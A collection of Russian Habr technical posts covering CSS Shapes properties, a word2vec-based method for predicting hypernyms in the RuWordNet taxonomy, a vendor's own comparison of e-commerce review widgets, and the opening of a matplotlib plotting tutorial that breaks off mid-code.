Описывает окружность, значения **cx** и **cy** определяют координаты центра окружности, **rx** и **ry** — радиус.
* ```
polygon( , , ..., );
```
Описывает многоугольник на основе переданных координат.
* ```
url(path/to/image.png);
```
Описывает форму заданную выбранным изображением или SVG файлом.
##### Shape-inside
Shape-inside создает форму внутри элемента, внутри которой будет происходить обтекание.
**shape-inside имеет теже значения, что и shape-outside*** ```
rectangle(x, y, width, height, [rx, ry]);
```
Описывает прямоугольник, значения **x** и **y** определяют позицию формы, **width** и **height** — ширину и высоту, **rx** и **ry** — радиус углов. Позиционирование формы происходит по origin к элементу.
* ```
rectangle(x, y, width, height, [rx, ry]);
```
Описывает прямоугольник, значения **x** и **y** определяют позицию формы, **width** и **height** — ширину и высоту, **rx** и **ry** — радиус углов. Позиционирование формы происходит как для самого элемента.
* ```
circle(cx, cy, r);
```
Описывает круг, значения **cx** и **cy** определяют координаты центра круга, **r** — радиус.
* ```
ellipse(cx, cy, rx, ry);
```
Описывает окружность, значения **cx** и **cy** определяют координаты центра окружности, **rx** и **ry** — радиус.
* ```
polygon( , , ..., );
```
Описывает многоугольник на основе переданных координат.
* ```
url(path/to/image.png);
```
Описывает форму заданную выбранным изображением или SVG файлом.
[**Страница с демо на Codepen**](http://codepen.io/collection/qFesk)
###### Shape-image-threshold
Данное свойство определяет порог альфа канала изображения на основе которого определяется форма. Значения от 0.0 до 0.1, по дефолту 0.5. *То есть если Вы определяете форму из определенного изображения, то по дефолту зоны где непрозрачность меньше 50% не будут учтены.*
###### Shape-margin и shape-padding
Специфика работы данных свойств немного отличается от стандарты margin и padding. Принцип работы очень наглядно демонстрируется на [этой странице (внизу).](http://hansmuller-webkit.blogspot.ru/2013/02/padding-rounded-rectangle.html)
#### Hyphens
Не могу не упомянуть про это маленькое замечательное свойство. Оно используется в большинстве примеров с shape-inside, а одна из его функций — автоматический перенос слов со знаком переноса. Без этого свойства контент внутри определенной формы смотрелся бы ужасно. [Оно уже работает в Firefox, IE, Safari](http://caniuse.com/#search=hyphens) ~~удивительно, что его нет в Chrome~~.
* **none** — Запрет переноса, разрывы строк ставятся только между слов. (Привычное отображение)
* **manual** — Ручная расстановка переносов — слова разбиваются только в местах расстановки специальных символов.
* **auto** — Автоматическая расстановка переносов, но приоритет отдается в местах со специальными символами.
Используемые ресурсы помимо спецификаций на W3C:
[HTML5ROCK](http://www.html5rocks.com/en/tutorials/masking/adobe/)
[CSS Shapes and Float Positioning: What’s Old is New Again](http://blogs.adobe.com/webplatform/2013/08/12/css-shapes-and-float-positioning/)
[The CSS Shapes Module — Breaking Out of the Box](http://www.vanseodesign.com/css/shapes-module/)
[Web Platform](http://docs.webplatform.org/wiki/Main_Page)
Большое спасибо за внимание. | https://habr.com/ru/post/190246/ | null | ru | null |
# Как предсказать гипероним слова (и зачем). Моё участие в соревновании по пополнению таксономии
Как может машина понимать смысл слов и понятий, и вообще, что значит — понимать? Понимаете ли вы, например, что такое спаржа? Если вы скажете мне, что спаржа — это (1) травянистое растение, (2) съедобный овощ, и (3) сельскохозяйственная культура, то, наверное, я останусь убеждён, что вы действительно знакомы со спаржей. Лингвисты называют такие более общие понятия *гиперонимами*, и они довольно полезны для ИИ. Например, зная, что я не люблю овощи, робот-официант не стал бы предлагать мне блюда из спаржи. Но чтобы использовать подобные знания, надо сначала откуда-то их добыть.
В этом году компьютерные лингвисты организовали [соревнование](https://russe.nlpub.org/2020/isa/) по поиску гиперонимов для новых слов. Я тоже попробовал в нём поучаствовать. Нормально получилось собрать только довольно примитивный алгоритм, основанный на поиске ближайших соседей по эмбеддингам из word2vec. Однако этот простой алгоритм каким-то образом оказался наилучшим решением для поиска гиперонимов для глаголов. Послушать про него можно в [записи](https://www.youtube.com/watch?v=vBDziGUB6BI) моего выступления, а если вы предпочитаете читать, то добро пожаловать под кат.
Про гиперонимы и таксономию
---------------------------
Итак, ещё раз определение: [гипероним](https://ru.wikipedia.org/wiki/%D0%93%D0%B8%D0%BF%D0%BE%D0%BD%D0%B8%D0%BC_%D0%B8_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D0%BE%D0%BD%D0%B8%D0%BC) — это более общее понятие из пары, а гипоним — его частный случай. "Овощ" — гипероним по отношению к "спаржа", а "спаржа" — гипоним по отношению к "овощ". Прямых гиперонимов может быть много ("спаржа" — это не только "овощ", а ещё и "трава"). Кроме того, у гиперонимов могут быть свои собственные гиперонимы (так, "трава" — это частный случай "растения", а "растение" — частный случай "живого организма").
*Пример подграфа таксономии RuWordNet, связанного со спаржей*
Готовые пары гипоним-гипероним можно найти в специальных словарях, *тезаурусах*, куда включены целые графы гиперонимов, *таксономии*. Это, например, [wiktionary](https://ru.wiktionary.org/wiki/%D0%97%D0%B0%D0%B3%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B0) (есть питонячья [обёртка](https://github.com/jamsic/ru-wordnet)), или [WordNet](https://wordnet.princeton.edu) и [RuWordNet](https://ruwordnet.ru/ru). Обычно единицей такого словаря является *синсет* — множество слов, обладающих примерно одинаковым смыслом. Многозначные слова входят в несколько синсетов сразу. Отношения гипоним-гипероним (и некоторые другие, например часть-целое или тема-объект темы) устанавливаются именно между синсетами.
### Нафига?
У читателя может возникнуть закономерный вопрос: а зачем вообще в 2к20 нужны какие-то тезаурусы? Есть же машиннообученные word2vec, fastText, и даже простите BERT, почему бы не использовать их напрямую для всех задач? На самом деле, конечно, делать так можно, и все так обычно и делают. Но есть несколько "но":
1. Модели, основанные на статистике со-встречаемости слов, смешивают в одну кучу разные виды связей между словами: схожесть написания, общую тему, отношения "общее/частное", "часть/целое", синонимы, антонимы… Если хочется работать с одним конкретным видом связанности слов, нужен дополнительный сигнал, и тезаурус — проверенный источник такого сигнала.
2. Чисто статистические модели часто выдают непрозрачные результаты, а в некоторых задачах важна полная интерпретируемость. Опять же, проверенность словаря — решает.
3. Как было видно из того же примера с кудахтаньем, статистические модели выдают довольно шумные результаты, и если есть способ дополнительно отфильтровать этот шум, то почему бы им не воспользоваться.
Кроме этих логических доводов, есть ещё и эстетические: тезаурусом в виде питонячьего пакета очень приятно пользоваться. Вы посмотрите сами, как удобно работать с синсетами:
```
for sense in wn.get_senses('замок'):
print(sense.synset)
# Synset(id="126228-N", title="СРЕДНЕВЕКОВЫЙ ЗАМОК")
# Synset(id="114707-N", title="ЗАМОК ДЛЯ ЗАПИРАНИЯ")
```
Для каждого синсета можно глядеть на гиперонимы...
```
wn.get_senses('спаржа')[0].synset.hypernyms
# [Synset(id="348-N", title="ОВОЩИ"),
# Synset(id="4789-N", title="ТРАВЯНИСТОЕ РАСТЕНИЕ"),
# Synset(id="6878-N", title="ОВОЩНАЯ КУЛЬТУРА")]
```
… или, наоборот, на гипонимы
```
wn.get_senses('спаржа')[0].synset.hypernyms[0].hyponyms
# [Synset(id="107993-N", title="АРТИШОК"),
# Synset(id="108482-N", title="СПАРЖА"),
# Synset(id="118660-N", title="ЗЕЛЕНЫЙ ГОРОШЕК"),
# ...
```
Одно из забавных применений таксономии — измерять непохожесть между понятиями как сумму расстояний до ближайшего общего гиперонима. Возьмём, например, такую детскую задачку: нужно исключить одно из слов ДИВАН, ШКАФ, ЛАМПА, СТОЛ. Нарисуем подграф их гиперонимов (хоть он и странный):
По картинке видно, что расстояние от "лампы" до остальных предметов — больше, чем между ними, так что она тут лишняя. А если не хочется рисовать картинки, то вычислить расстояние по таксономии можно и кодом — простым обходом графа.
```
ДИВАН ШКАФ ЛАМПА СТОЛ
ДИВАН 0 3 10 3
ШКАФ 3 0 5 2
ЛАМПА 10 5 0 7
СТОЛ 3 2 7 0
```
Задача
------
Словари типа RuWordNet очень качественные, потому что собраны лингвистами вручную. Но поэтому же наполнение таких словарей не очень высокое. Хотелось бы научиться добавлять новые понятия в таксономии автоматически, или хотя бы полуавтоматически (машина предлагает варианты, лингвист их утверждает). Для этого компьютерные лингвисты из Сколтеха и Вышки организовали соревнование ([раз](https://russe.nlpub.org/2020/isa/) [два](https://competitions.codalab.org/competitions/22168) [три](http://www.dialog-21.ru/evaluation/)), приуроченное к конференции [Диалог](http://www.dialog-21.ru/programme2020/), и уже даже написали про это [статью](https://arxiv.org/abs/2005.11176). Идея соревнования: для слова, пока не включённого в таксономию [RuWordNet](https://ruwordnet.ru/ru), надо найти его гиперонимы из этой таксономии, предложив 10 вариантов. Засчитывались как прямые гиперонимы слова-запроса, так и их гиперонимы (т.е. гиперонимы второго порядка). Искались гиперонимы и оценивались результаты раздельно для существительных и для глаголов. Подробнее на данные, скрипты для оценки и бейзлайны можно посмотреть в [репозитории соревнования](https://github.com/dialogue-evaluation/taxonomy-enrichment).
Наш алгоритм
------------
Поставленная задача выглядит похоже на типичную задачу информационного поиска, только здесь нужно искать гиперонимы. А значит, можно попробовать решить эту задачу как поисковую: для входного слова-запроса отобрать кандидатов в гиперонимы, а потом переранжировать их по какой-то формуле. Конкретно у меня лучше всего взлетел как раз бейзлайновый вариант этого решения:
1. Используя модель word2vec, вычислить эмбеддинги (представления в виде числовых векторов) для всех понятий в таксономии;
2. Найти 100 ближайших соседей по сходству этих эмбеддингов с эмбеддингом слова-запроса;
3. Заставить каждого из этих соседей "голосовать" за свои гиперонимы 1 и 2 порядка;
4. Отранжировать гиперонимы-кандидаты по взвешенной сумме набранных голосов и отобрать первые 10.
Почему такое решение вообще может работать? Оказалось, что у 90% новых существительных и 99% новых глаголов есть "сёстры" в имеющейся таксономии, т.е. понятия с хотя бы одним общим гиперонимом. Эти "сёстры" по смыслу тесно связаны с запросом, а потому, согласно [дистрибутивной гипотезе](https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D1%81%D1%82%D1%80%D0%B8%D0%B1%D1%83%D1%82%D0%B8%D0%B2%D0%BD%D0%B0%D1%8F_%D1%81%D0%B5%D0%BC%D0%B0%D0%BD%D1%82%D0%B8%D0%BA%D0%B0#%D0%94%D0%B8%D1%81%D1%82%D1%80%D0%B8%D0%B1%D1%83%D1%82%D0%B8%D0%B2%D0%BD%D0%B0%D1%8F_%D0%B3%D0%B8%D0%BF%D0%BE%D1%82%D0%B5%D0%B7%D0%B0), часто встречаются рядом с теми же словами, рядом с которыми встречается и запрос. Значит, если сопоставить словам векторы из модели, обученной угадывать слово по контексту (например, word2vec, FastText, ELMO или BERT), то среди ближайших соседей слова по таким представлениям будет много "сестёр", и в качестве ответа можно использовать их гиперонимы.
Ещё несколько деталей алгоритма:
* при использовании модели w2v, для слов, не входящих в её словарь, мы искали в словаре слова с самым длинным общим префиксом и использовали их эмбеддинги;
* для представления понятий, составленных из нескольких слов, мы просто усредняли эмбеддинги этих слов с весами, зависящими от части речи (но можно придумать лучше);
* мы L2-нормализовали эмбеддинги, чтобы было удобнее искать ближайших соседей по косинусному расстоянию;
* каждый сосед голосовал за все свои гиперонимы 1 и 2 порядка, но голосам за гипероним 2 порядка давался вдвое меньший вес;
* вес каждого голоса домножался на функцию, резко убывающую при росте расстояния от запроса до найденного соседа, чтобы самые близкие соседи получили преимущество в голосовании.
Более подробное описание и обсуждение моего алгоритма и решений других участников можно найти в [сборнике конференции "Диалог"](http://www.dialog-21.ru/digest/2020/).
### Упрощённый код
Здесь разобран упрощённый питонячий код моего алгоритма. Полную версию модели, которую я засабмитил на лидерборд, можно посмотреть на [гитхабе](https://github.com/avidale/taxonomy-enrichment/tree/experiments/), но код там довольно грязный. Более простую и опрятную версию можно запустить, склонировав себе [репозиторий python-ruwordnet](https://github.com/avidale/python-ruwordnet).
Для работы с тезаурусом я пользуюсь самописной библиотекой [ruwordnet](https://github.com/avidale/python-ruwordnet), которая скоро появится на PyPI.
```
from ruwordnet import RuWordNet
wn = RuWordNet()
wn.load_from_xml(root='data')
```
Для получения векторов слов я использовал модель word2vec с сайта [RusVectores](https://rusvectores.org/ru/models/). В качестве более легковесной альтернативы можно использовать [сжатые](https://habr.com/ru/post/489474/) вектора fastText. Вектор текста — нормализованная сумма векторов всех слов длиной хотя бы в 3 символа.
```
import numpy as np
import compress_fasttext
ft = compress_fasttext.models.CompressedFastTextKeyedVectors.load(
'https://github.com/avidale/compress-fasttext/releases/download/v0.0.1/ft_freqprune_100K_20K_pq_100.bin'
)
def vectorize(text):
vec = np.sum([ft[word] for word in text.lower().split() if len(word) >= 3], axis=0)
vec /= sum(vec**2) ** 0.5
return vec
```
Вектора всех глагольных фраз можно положить в `KDTree` — одну из структур данных, позволяющих быстро искать ближайших соседей.
```
from sklearn.neighbors import KDTree
words, vectors, synset_ids = [], [], []
for synset in wn.synsets:
if synset.part_of_speech != 'V':
continue
for sense in synset.sense:
words.append(sense.name)
vectors.append(vectorize(sense.name))
synset_ids.append(synset.id)
vectors = np.stack(vectors)
tree = KDTree(vectors)
```
Веса для соседей, найденных в дереве, будем вычислять в зависимости от расстояния до соседа, по вот такой формуле (я придумал её довольно стихийно, а параметры подобрал по сетке):
```
def distance2vote(d, a=3, b=5):
sim = np.maximum(0, 1 - d**2/2)
return np.exp(-d**a) * sim **b
```
Для примера, попробуем вычислить гиперонимы для слова "кудахтать". Первые три найденные соседа — так себе по качеству, и гиперонимы у них неправильные, но среди 97 других соседей есть "повизгивать", "гавкать", "фырчать", и много других животных звуков.
```
votes = Counter()
dists, ids = tree.query(vectorize('кудахтать').reshape(1, -1), k=100)
for idx, distance in zip(ids[0], dists[0]):
for hyper in wn[synset_ids[idx]].hypernyms:
votes[hyper.id] += distance2vote(distance)
print(words[idx], [t.title for t in wn[synset_ids[idx]].hypernyms])
# БАРАХТАТЬСЯ ['ДВИЖЕНИЕ, ПЕРЕМЕЩЕНИЕ', 'ПЛЕСКАТЬСЯ В ВОДЕ']
# ГОГОТАТЬ ['СМЕЯТЬСЯ (ИЗДАВАТЬ СМЕХ)', 'РАЗРАЗИТЬСЯ (БУРНО ВЫРАЗИТЬ)']
# ГУКАТЬ ['ПРОИЗНЕСТИ, ВЫГОВОРИТЬ, ПРОГОВОРИТЬ']
# ...
```
В результате после суммирования голосов правильный гипероним, "издать звук", лидирует с большим отрывом.
```
for sid, score in votes.most_common(10):
print(score, wn[sid].title)
# 0.6925543543920146 ИЗДАТЬ ЗВУК
# 0.4306341411813687 ПРОИЗНЕСТИ, ВЫГОВОРИТЬ, ПРОГОВОРИТЬ
# 0.2957854226709537 ДВИЖЕНИЕ, ПЕРЕМЕЩЕНИЕ
# ...
```
Результаты
----------
При оценке на тестовой выборке около 40% предложенных моделью кандидатов оказались настоящими гиперонимами слов-запросов. Это на 15% хуже, чем наилучшее решение для существительных (оно использовало кучу дополнительных источников данных — wordnet, викисловарь, результаты поиска в Яндексе и Гугле). Однако моё решение оказалось **наилучшим** для глаголов. Скорее всего, это означает, что искать гиперонимы для глаголов — в целом непростая задачка, и никто ещё не придумал, как решать её достаточно круто. Ну, что ж ¯\\_(ツ)\_/¯.
Какого рода косяки делает моя модель в тех 60% случаев, когда она не права? Есть несколько важных видов ошибок:
* Попадание в тему, но неточное попадание в смысл слова. Например, для слова "заряжание" модель предсказала гиперонимы "прицеливание" и "лафет", которые тоже связаны с огнестрельным оружием, но не непосредственно с заряжанием.
* Неумение обрабатывать многозначность. Например, для слова "выгорание" модель предсказала гипероним "гореть", проигнорировав другие смыслы этого слова — потерю цвета и эмоциональное выгорание.
* Непонимание синтаксиса. Например, для фразы "прогревание больного места" модель предложила гиперонимы "больной человек" и "место в пространстве".
* Неумение работать со словообразованием, незнание фактов о мире, неумение работать с абстрактными понятиями, путаница между субъектом и объектом глагола, и ещё много разных косяков.
Более совершенная модель могла бы учитывать морфологию слов, синтаксическую структуру фраз, определения терминов из внешних источников, структуру самой таксономии, и бог знает что ещё. Лично я пытался экспериментировать с внешними источниками (Википедией), но не успел до дедлайна привести это решение в рабочий вид.
Итак, хорошая новость в том, что даже если использовать очень простую модель, 40% предложенных ею гиперонимов годятся. И это достаточно много, чтобы имело смысл соединить в один конвейер роботов и людей: роботы предлагают гиперонимы, люди их валидируют, и таксономия пополняется очень быстро.
Плохая же новость в том, что даже довольно сложные модели не смогли справиться сильно лучше, так что задачу обогащения таксономии пока что нельзя считать полностью решённой. Но на то мы и компьютерные лингвисты, чтобы не сдаваться (-: | https://habr.com/ru/post/507228/ | null | ru | null |
# В поисках идеальной системы отзывов для интернет-магазина
[](http://habrahabr.ru/post/256993/) **Привет, Хабр!** В [предыдущем посте](http://habrahabr.ru/company/cackle/blog/255477/) мы поговорили про нашу [систему отзывов](http://cackle.ru/reviews) для интернет магазинов, а сегодня сделали её сравнение с другими аналогичными продуктами. Ведь отзывы – пожалуй, самый недорогой и действенный способ поднять конверсию сайта. Для получения отзывов, вы можете написать свою систему или воспользоваться уже готовым и проверенным решением.
Среди готовых решений в Рунете замечено три системы – [Cackle Reviews](http://cackle.ru/reviews), [Mneniya.Pro](http://mneniya.pro/) и [Shoppilot](http://shoppilot.ru/). Мы сделали непредвзятое сравнение упомянутых систем по множеству параметров и разместили результаты в сводной таблице, попутно сделав небольшой обзор каждой системы в отдельности. В итоге получился своеобразный гайд, который поможет лучше понять особенности каждой системы и выбрать подходящий продукт для вашего сайта.
Основные возможности
--------------------
В таблице ниже сравнение Cackle Reviews, Shoppilot, и Mneniya.Pro по самым важным параметрам. В столбике «Возможность» у некоторых параметров есть ссылки на расширенное описание.
Для наглядности за каждое «**да**» система получает 1 балл, за «**нет**» 0.
| Возможность | [Cackle Reviews](http://cackle.ru/reviews) | [Shoppilot](http://shoppilot.ru/) | [Mneniya.Pro](http://mneniya.pro/) |
| --- | --- | --- | --- |
| [1. Год основания](#year) | 2013 | 2013 | 2013 |
| [2. Скорость загрузки (миллисекунды)](#speed) | 72 | 123 | 87 |
| 3. Рассылка писем после покупки | да | да | да |
| [4. Ссылка «Оставить отзыв» из письма ведёт на сайт магазина](#followup) | да | нет | нет |
| 5. Проверенный покупатель | да | да | да |
| [6. Сбор отзывов с Яндекс.Маркета](#ym) | да | да | нет |
| 7. API синхронизации отзывов для поисковой индексации в Яндекс | да | да | да |
| [8. Автоматическая индексация в Google c микроразметкой рейтинга](#microdata) | да | нет | да |
| [9. Трансляция отзывов в социальные сети](#social) | да | нет | нет |
| 10. Анонимная авторизация | да | да | да |
| 11. Социальная авторизация | да | нет | нет |
| [12. Единая авторизация с сайтом](#sso) | да | нет | нет |
| 13. СПАМ-защита | да | нет | нет |
| 14. Лайки отзывов | да | да | нет |
| 15. Загрузка изображений | да | да | нет |
| 16. Поддержка видео (YouTube, Vimeo) | да | нет | нет |
| 17. Открытая регистрация | да | нет | нет |
| 18. Realtime-обновление | модерация | нет | нет |
| [19. Модерация отзывов](#admin) | да | нет | нет |
| 20. Премодерация | да | нет | нет |
| 21. Комментарии к отзывам | да | да | да |
| [22. Плагины для CMS](#bitrix) | да | да | нет |
| 23. Адаптивный дизайн | да | нет | да |
| 24. Минимальная цена (руб. в месяц) | 600 | 2490 | 2490 |
**В итоге:**
Cackle Reviews: 20 баллов
Shoppilot: 9 баллов
Mneniya.Pro: 7 балла
Более подробно о некоторых возможностях
---------------------------------------
### 1. Год основания
Был выбран согласно [archive.org/web](http://archive.org/web/). Небольшая ремарка по поводу Cackle: по archive.org первые упоминания cackle.ru идут в 2011 году – тогда был реализован [сервис комментариев](http://cackle.ru/comments), а система Cackle Reviews была выпущена в 2013 году.
### 2. Скорость загрузки
Для каждого продукта было выбрано по одной странице сайта, где используется решение. Далее с нескольких компьютеров (находящихся в разных сетях), по очереди, выбранные страницы обновлялись со сбросом кеша (Ctrl + F5) и каждый раз замерялось суммарное среднее время загрузки всех ресурсов для каждой системы (Chrome DevTools, Network, фильтр по домену cackle.me, shoppilot.ru, dev.mneniya.pro). Из полученных результатов среднее время стало итогом.
### 4. Ссылка «Оставить отзыв» из письма ведёт на сайт магазина
Речь идёт о рассылке follow-up писем после покупки с приглашением оставить отзыв. Допустим, пользователь получает follow-up письмо с просьбой оценить недавно купленный товар. Важно, чтобы ссылка «Оставить отзыв» из письма вела именно на страницу вашего сайта (а не на сайт системы сбора отзывов) без всяких редиректов. В противном случае вы будете получать меньше отзывов, так как многие юзеры не доверяют ссылкам на сторонние сайты.
Также крайне важно, чтоб при переходе по ссылке «Оставить отзыв» форма публикации отзыва была открыта и пользователь был автоматически авторизован. Например, в системе Cackle Reviews, ссылка «Оставить отзыв» ведёт на страницу купленного товара интернет-магазина, а все служебные параметры, для открытия формы написания отзыва и автоматической авторизации, передаются после хеша (#) в адресе ссылки. В других системах ссылки ведут на сайт разработчика решения, в форму написания отзыва, без автоматической авторизации, что, естественно, уменьшает переходы и число оставленных отзывов.
### 6. Сбор отзывов с Яндекс.Маркета
Для Cackle Reviews и Shoppilot было найдено несколько сайтов, где видны отзывы, загруженные с Яндекс.Маркета (например, [forma-odezhda.ru](http://forma-odezhda.ru/turizm/palatki/palatka-kerri-3-v-2/), [delonghi.club](http://delonghi.club/products/rozhkovaya-kofevarka-delonghi-ec-270-chrome#tabid=tab-2), [digital.ru](http://www.digital.ru/goods/smartfony/nokia/772792.htm#product-reviews), [wiki-tovar.ru](http://wiki-tovar.ru/mobilnye-telefony/apple/apple-iphone-5-64gb.html)).
### 8. Автоматическая индексация в Google c микроразметкой рейтинга
Микроразметка – это специальный формат, с помощью которого другие системы, например, поисковики, понимают и определённым образом отображают данные. Тут речь идёт о микроразметке отзывов `schema.org/reviews`. В Google это выглядит как красивые звёздочки, отражающие текущий рейтинг страницы:
[](http://cackle.ru/reviews)
Автоматическая индексация микроразметки рейтинга, например в Cackle Reviews, работает просто через JavaScript. Используя Cackle Reviews вам можно забыть про сложную настройку сохранения отзывов в локальную БД или манипуляции с Apache (Nginx) для подтягивания внешнего HTML-кода.
Пример: в Google найдите «site:kinderus.ru на основе отзыва», зайдите на любую страницу из результата поиска, допустим, [kinderus.ru/products/7173](http://kinderus.ru/products/7173), и откройте отображение в HTML-виде. В HTML-коде отзывы и микроразметка отсутствуют, а это означает, что всё работает автоматически через JavaScript.
### 9. Трансляция отзывов в социальные сети
Тут система Cackle Reviews опять же отличилась. Отзывы транслируются в ВКонтакте, Мой Мир, Facebook, Twitter со ссылкой на сайт, где установлено решение. В итоге вы получаете дополнительный трафик и популярность среди друзей автора отзыва. Попробовать трансляцию можно на странице [демонстрации решения](http://cackle.ru/demo/review).
[](http://cackle.ru/demo/review)
В других системах социальной авторизации нет, соответственно, нет и кросспостинга (трансляции).
### 12. Единая авторизация с сайтом
Это когда авторизованный на вашем сайте пользователь будет автоматически залогинен в системе отзывов. Полезно при follow-up рассылке писем. Пользователь кликает на «Оставить отзыв» из письма и при переходе в форму написания отзыва он автоматически авторизован.
### 19. Модерация отзывов
Cackle Reviews имеет встроенную панель администрирования для модерации отзывов в режиме реального времени, то есть вы сами выбираете, одобрить отзыв или отклонить. Shoppilot и Mneniya.Pro, напротив, модерируют отзывы самостоятельно.
### 22. Плагины для CMS
| CMS | Cackle Reviews | Shoppilot | Mneniya.Pro |
| --- | --- | --- | --- |
| 1С-Битрикс | [Да](http://marketplace.1c-bitrix.ru/solutions/cackle.reviews/) | [Да](http://marketplace.1c-bitrix.ru/solutions/shoppilot.reviews) | Нет |
| Joomla (VirtueMart, K2, Zoo) | [Да](http://extensions.joomla.org/extensions/extension/clients-a-communities/ratings-a-reviews/cackle-reviews) | Нет | Нет |
| OpenCart | [Да](http://cackle-plugin.bitbucket.org/ru/plugins/opencart-reviews/) | Нет | Нет |
| PrestaShop | [Да](https://bitbucket.org/cackle-plugin/review-prestashop/get/tip.zip) | [Да](https://github.com/shoppilot/shoppilot-prestashop/archive/v1.1.zip) | Нет |
| InSales | Нет | [Да](http://www.insales.ru/collection/apps/product/shoppilot) | Нет |
Стоит заметить, что все плагины Cackle Reviews сохраняют отзывы в локальную БД автоматически, кроме этого в 1C-Битрикс и OpenCart есть импорт заказов для [follow-up рассылки](#followup).
Cackle Reviews
--------------
Лидер обзора за счёт максимального количества возможностей и адекватной цены. Регистрация открытая, вы можете попробовать систему бесплатно – [ссылка на регистрацию](http://bit.ly/1a291lP)
Столь значительным результатам Cackle Reviews во многом обязан многолетнему развитию облачных сервисов компании в целом. Первый продукт был анонсирован в 2011 году – в [системе комментариев Cackle](http://cackle.ru/comments). Многое перекочевало из комментариев в систему отзывов. Например, социальная авторизация, трансляция в социальные сети, СПАМ-защита, быстрота загрузки, система модерации, работа на мобильных устройствах и другие возможности. Подробнее об архитектуре Cackle можно прочитать на Хабре – в статье «[Облачные сервисы под высокой нагрузкой. Опыт Cackle](http://habrahabr.ru/company/cackle/blog/255013/)».
[](http://cackle.ru/reviews)
#### Основные преимущества:
### Индексация отзывов с микроразметкой рейтинга в Google
Как было сказано выше, при установке Cackle Reviews на ваш сайт, Google начинает сканировать страницы автоматически, индексируя отзывы с микроразметкой рейтинга.
Замечательно, что всё это работает через JavaScript – вы просто копируете установочный код Cackle Reviews и в результатах поиска Google ваш сайт становится примерно таким:
[](http://cackle.ru/reviews)
### Сбор отзывов с Яндекс.Маркета
Для сбора необходимо через API (Cackle Reviews) загрузить товары из вашего интернет-магазина в Cackle, формат JSON. У каждого товара должен быть проставлен специальный параметр ymId, принимающий значение modelId из Яндекс.Маркета.
Отзывы с Маркета отмечены специальной ссылкой на источник.
[](http://cackle.ru/reviews)
Несколько примеров: [wiki-tovar.ru](http://wiki-tovar.ru/mobilnye-telefony/apple/apple-iphone-5-64gb.html), [shveiburg.ru](http://shveiburg.ru/catalog/shveynye_mashiny/juki/juki_hzl_27z/), [mrklimat.ru](http://www.mrklimat.ru/vozduchoochistiteli/ochistiteli-vozducha/vozduchoochistitel-sharp-kc-850e.html).
### Единая авторизация с интернет-магазином
Есть возможность сделать так, чтобы пользователи, зарегистрированные на вашем сайте, были [автоматически залогинены в Cackle Reviews](http://cackle.ru/help/integrating-sso) со своим именем, аватаром и ссылкой на профиль. Возможность сильно упрощает написание отзывов, так как в таком случае юзеру не нужно вводить свои данные или выбирать соц.сеть для авторизации. Как следствие, вы получаете больше отзывов.
### СПАМ-защита
Единственная система отзывов со встроенной спам-защитой. Стоит вам один раз отметить отзыв как спам и система автоматически запомнит ваше действие. Такой же или похожий следующий отзыв будет помечен как спам автоматически. Если вы одобрите спам-отзыв, то система удалит его из базы. Так происходит обучение. Хорошо обученная система «СПАМ-защиты» может заменить вам модератора.
В дополнении есть поддержка [Akismet](http://akismet.com).
### Панель модерации отзывов
В отличии от Shoppilot и Mneniya.Pro, отзывы Cackle Reviews модерируются вами самостоятельно. Любой отзыв можно одобрить, пометить как спам, удалить, редактировать (недостатки, достоинства, комментарий – всё, кроме рейтинга).
Модерация происходит в Real-time режиме с Tray и звуковыми уведомлениями. Есть групповые операции, поиск отзывов по автору, IP, все на странице, бан на время с причиной, предупреждения, информация о браузере и другие возможности.
[](http://cackle.ru/reviews)
Shoppilot
---------
Сервис Shoppilot начал как система сбора отзывов об интернет-магазинах. В последствии был сделан виджет отзывов о товарах. Регистрация закрытая, только по приглашению – [ссылка на регистрацию](http://app.shoppilot.ru/users/start). К сожалению, из-за закрытой регистрации, более подробный обзор сделать не получилось.
#### Основные преимущества:
### Оценка по нескольким критериям
Насколько я понял из их документации, критерии настраивает владелец сайта и для каждого раздела они могут быть различные.
### Срок использования
Кроме стандартных полей «Достоинства», «Недостатки» и «Комментарий», есть дополнительное поле «Срок использования» со значениями:
* меньше месяца;
* около полугода;
* больше года.
Mneniya.Pro
-----------
Mneniya.Pro – хорошо разрекламированная система с несколькими крупными клиентами, например, Garmin. Регистрация по приглашению – [ссылка на регистрацию](http://mneniya.pro/about/#signup). Аналогично, из-за закрытой регистрации более подробный обзор сделать нет возможности.
### Форма отзыва
Система имеет массивную форму написания отзыва, с несколькими стандартными полями.
Из минусов я бы выделил отсутствие автоматической индексации в поисковиках, отсутствие микроразметки рейтинга, отсутствие плагинов к CMS.
Спасибо за внимание и удачных вам выходных!
**UPDATE:** Таблица возможностей обновлена в следствии предоставления информации от представителя сервиса Mneniya.Pro.
**PS:** В заключение, для полноты картины, небольшой опрос: | https://habr.com/ru/post/256993/ | null | ru | null |
# 50 оттенков matplotlib — The Master Plots (с полным кодом на Python)
Те, кто работает с данными, отлично знают, что не в нейросетке счастье — а в том, как правильно обработать данные. Но чтобы их обработать, необходимо сначала проанализировать корреляции, выбрать нужные данные, выкинуть ненужные и так далее. Для подобных целей часто используется визуализация с помощью библиотеки matplotlib.
Встретимся «внутри»!
### Настройка
Запустите следующий код для настройки. Отдельные диаграммы, впрочем, переопределяют свои настройки сами.
```
# !pip install brewer2mpl
import numpy as np
import pandas as pd
import matplotlib as mpl
import matplotlib.pyplot as plt
import seaborn as sns
import warnings; warnings.filterwarnings(action='once')
large = 22; med = 16; small = 12
params = {'axes.titlesize': large,
'legend.fontsize': med,
'figure.figsize': (16, 10),
'axes.labelsize': med,
'axes.titlesize': med,
'xtick.labelsize': med,
'ytick.labelsize': med,
'figure.titlesize': large}
plt.rcParams.update(params)
plt.style.use('seaborn-whitegrid')
sns.set_style("white")
%matplotlib inline
# Version
print(mpl.__version__) #> 3.0.0
print(sns.__version__) #> 0.9.0
```
### Корреляция
Графики корреляции используются для визуализации взаимосвязи между 2 или более переменными. То есть, как одна переменная изменяется по отношению к другой.
### 1. Точечный график
Scatteplot — это классический и фундаментальный вид диаграммы, используемый для изучения взаимосвязи между двумя переменными. Если у вас есть несколько групп в ваших данных, вы можете визуализировать каждую группу в другом цвете. В matplotlib вы можете легко сделать это, используя plt.scatterplot().
**Показать код**
```
# Import dataset
midwest = pd.read_csv("https://raw.githubusercontent.com/selva86/datasets/master/midwest_filter.csv")
# Prepare Data
# Create as many colors as there are unique midwest['category']
categories = np.unique(midwest['category'])
